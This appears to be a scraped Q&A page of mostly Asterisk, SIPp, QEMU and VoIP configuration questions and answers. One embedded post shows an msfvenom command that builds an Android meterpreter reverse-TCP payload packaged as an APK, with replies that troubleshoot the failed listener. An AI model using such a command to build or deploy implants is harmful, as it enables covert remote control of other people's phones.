I'm trying to get sipp communicate with Asterisk in order to perform
performance tests:
I've been through these steps:
1) In sip.conf
[sippuac]
type=friend
username=sippuac
host=127.0.0.1
port=5061
context=test
dtmfmode=rfc2833
insecure=very
canreinvite=no
nat=yes
[sippuas]
type=friend
username=sippuas
host=127.0.0.1
port=5062
context=test
dtmfmode=rfc2833
insecure=very
canreinvite=no
nat=yes
2) In extensions.conf
[test]
exten=>s,1,Dial(SIP/sippuas,20)
3) Running SIPp
sipp -sn uas -rsa 127.0.0.1:5060 -p 5062 -i 127.0.0.1 -mp 6001
sipp -sn uac 127.0.0.1:5060 -s s -p 5061 -i 127.0.0.1
Finally I get on Asterisk :
[Jun 14 07:36:56] WARNING[2600][C-00000120]: app_dial.c:2437
dial_exec_full: Unable to create channel of type 'SIP' (cause 20 -
Subscriber absent)
How can I solve this and make the UAS receive the calls ?
Thanks for your help !
I think in sip.conf should be type=peer for sippuas.
It is bad idea to run performance test from localhost. SIPP will impact performance of Asterisk. Additionally it make seance to run scenario with audio and I will recommend just answer a call on Asterisk and play some sound, it is not so important to send call out to second sipp.
For receiving calls from asterisk, SIPp user(s) should be registered first to it. You can see if your user is registered or not by using the command:
sip show peers
in the asterisk CLI. If your uas is not registered and you are trying to tell asterisk to dial to a client and not giving the address of it. There are simple xml examples in this link for how to register and make calls to asterisk. Please follow the scenario you want.
Related
I'm trying to make a H.323 trunk in asterisk 15 (in a remote server with Ubuntu server 16 installed) with ooh323 addon, to test if works I've the softphone ekiga on my local machine. But when I call to test it not even entry the call, the Asterisk CLI doesn't show any useful information, infact doesn't show anything and the log always are empty even I put it explicitly in the ooh323.conf.
In simple words,I just want to call a h323 extension and hear the classic "hello world". Here's my configuration:
ooh323.conf:
[general]
port = 1720
bindaddr = 0.0.0.0
disallow=all
allow=alaw
dtmfmode=inband
gatekeeper = DISABLE
context=default
[307]
type=friend
context=default
host=my server ip
port=1720
disallow=all
allow=alaw,g729,gsm,slinear
extension.conf:
[general]
static=yes
writeprotect=no
autofallthrough=yes
clearglobalvars=no
[default]
exten => _X!,1,Dial(H323/${EXTEN}#307)
exten => _X!,2,Playback(hello-world)
Any help is useful, thanks a lot.
UPDATE:
Now the calls come in, but I get:
chan_ooh323.c:1975 ooh323_onReceivedSetup: Unacceptable ip 187.155.24.149
Any ideas?
When I try to exploit my payload then it is showing me...
Handler failed to bind to YOUR IP:- -
[-] Handler failed to bind to 0.0.0.0:5432:- -
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:5432).
[*] Exploit completed, but no session was created.
//////////////////
command to make payload
./msfvenom -p android/meterpreter/reverse_tcp LHOST=YOUR IP LPORT=5432 -o ~/storage/downloads/test2.apk
sir please help me!!!
Thanks for see/read my post 😊
My guess you need to use a loopback address 127.0.0.1 and not any address
I think,there is another service or anything running on port 5432.You should check it with netstat command.You can set another port number.
to find wich process is using that port use:
netstat -nao | grep 5432
TCP 127.0.0.1:5432 0.0.0.0:0 LISTENING [PID]
then you can kill that process using the PID returned from the last command:
kill -9 <PID>
I'm new at asterisk and following asterisk example:
sip.conf
[general]
transport=udp
[friends_internal](!)
type=friend
host=dynamic
context=from-internal
disallow=all
allow=ulaw
[demo-alice](friends_internal)
secret=verysecretpassword
qualify=yes
; put a strong, unique password here instead
qualify=yes
[demo-bob](friends_internal)
secret=othersecretpassword ; put a strong, unique password here instead
And this is pjsip.conf:
[transport-udp]
type=transport
protocol=udp
bind=0.0.0.0
;Templates for the necessary config sections
[endpoint_internal](!)
type=endpoint
context=from-internal
disallow=all
allow=ulaw
[auth_userpass](!)
type=auth
auth_type=userpass
[aor_dynamic](!)
type=aor
max_contacts=1
;Definitions for our phones, using the templates above
[demo-alice](endpoint_internal)
auth=demo-alice
aors=demo-alice
[demo-alice](auth_userpass)
password=unsecurepassword ; put a strong, unique password here instead
username=demo-alice
[demo-alice](aor_dynamic)
[demo-bob](endpoint_internal)
auth=demo-bob
aors=demo-bob
[demo-bob](auth_userpass)
password=unsecurepassword ; put a strong, unique password here instead
username=demo-bob
[demo-bob](aor_dynamic)
I used Ekiga softphone to login demo-alice account:
ubuntu*CLI>
-- Added contact 'sip:demo-alice#192.168.0.217:5060' to AOR 'demo-alice' with expiration of 3600 seconds
== Contact demo-alice/sip:demo-alice#192.168.0.217:5060 has been created
== Endpoint demo-alice is now Reachable
-- Contact demo-alice/sip:demo-alice#192.168.0.217:5060 is now Unknown. RTT: 0.000 msec
[Oct 25 16:40:10] WARNING[16587]: res_pjsip_pubsub.c:3134 pubsub_on_rx_publish_request: No registered publish handler for event presence
[Oct 25 16:40:10] WARNING[16587]: res_pjsip_pubsub.c:3134 pubsub_on_rx_publish_request: No registered publish handler for event presence
ubuntu*CLI> sip show peers
Name/username Host Dyn Forcerport Comedia ACL Port Status Description
demo-alice (Unspecified) D Auto (No) No 0 Unmonitored
demo-bob (Unspecified) D Auto (No) No 0 Unmonitored
2 sip peers [Monitored: 0 online, 0 offline Unmonitored: 0 online, 2 offline]
ubuntu*CLI>
Ekiga show I already registered but Asterisk server didn't.
It said: Reached but status is Unknown or Unmonitored with Unspecified IP. Help!!!
I'm using Ubuntu 16.04 and Asterisk 13.11.2 in Ubuntu server 16.04.
You propably want to use chan_sip OR chan_pjsip.
Check modules.conf to prevent one of them from loading...
In your CLI it seems, ekiga is registered on chan_pjsip.
So try "pjsip show endpoints" (-> chan_pjsip) instead of "sip show peers" (-> chan_sip).
I'm trying to set up a pair of serial ports between my QEMU host (Debian Jessie x86_64) and guest (also Debian Jessie, but on ARM). Everything except the serial port part works.
I'm really new to QEMU so there might be a better way but I've tested the following flags when running QEMU:
-chardev tty,id=mytty,path=/dev/pts/2 (/dev/pts/2 & 3 are up with socat)
-chardev pty,id=mypty QEMU opens a PTY but when I try to read or write from host get permission denied.
In either case I can't find the ports in my guest. /dev/pts is empty and in /dev there are only tty and ttyAMA3. So, my problem is setting up communication in general and I'm especially curious on where the ports are on my guest.
I found a solution to my own question. First the device tree was incomplete so I needed to add 3 additional uart ports. That's the reason I could not find my ports in the guest.
Second, I needed to tell QEMU to use on of the ports as stdio: -append ... console=ttyAMA3 and -serial mon:stdio. Then I'm able to, with -serial pty, link QEMUs ttyAMA* to pts/* on the host.
I just installed an asterisk 1.6 on a ubuntu 12 on a vmware box. Asterisk seems to be working, but when I try to make a call using my voip provider, it says Maximum retries exceeded on for seqno 102 (Non-critical Request).
My sip.conf is as follows:
[vono]
type=peer
username=my_username
secret=my_passwd
domain=provider_domain.name
fromuser=my_user
fromdomain=vono.net.br
host=vono.net.br
insecure=invite,port; (no asterisk > 1.4 utilize "invite,port")
qualify=no
port=5060
nat=no
disallow=all
allow=ulaw
dtmfmode=rfc2833
context=recebe_vono
reinvite=no
canreinvite=no
I already tried with nat=yes and placing externip=my_public_ip on the file but it didn't work.
Thanks for any help
You have allow in you vmware firewall port 5060 udp and forward it to you asterisk internal ip.
https://superuser.com/questions/136948/how-map-forward-port-under-ubuntu-for-other-machine-localhost-555-192-168